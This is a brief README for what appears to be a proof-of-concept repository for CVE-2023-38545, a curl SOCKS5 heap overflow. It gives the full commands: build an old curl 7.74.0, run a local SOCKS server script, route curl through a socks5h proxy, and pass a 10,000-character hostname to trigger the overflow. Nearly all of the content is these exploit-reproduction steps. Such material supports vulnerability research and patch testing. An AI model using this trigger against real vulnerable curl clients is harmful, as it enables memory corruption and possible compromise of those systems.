usage

git clone https://github.com/imfht/CVE-2023-38545
cd CVE-2023-38545/curl-7.74.0 && ./configure --with-openssl
make -j 4
python3 socks.py &
export ALL_PROXY=socks5h://127.0.0.1:9050
./curl-7.74.0/src/curl  $(python3 -c "print(('A'*10000), end='')") -vvvv

proof

for details please see: this link(in chinese)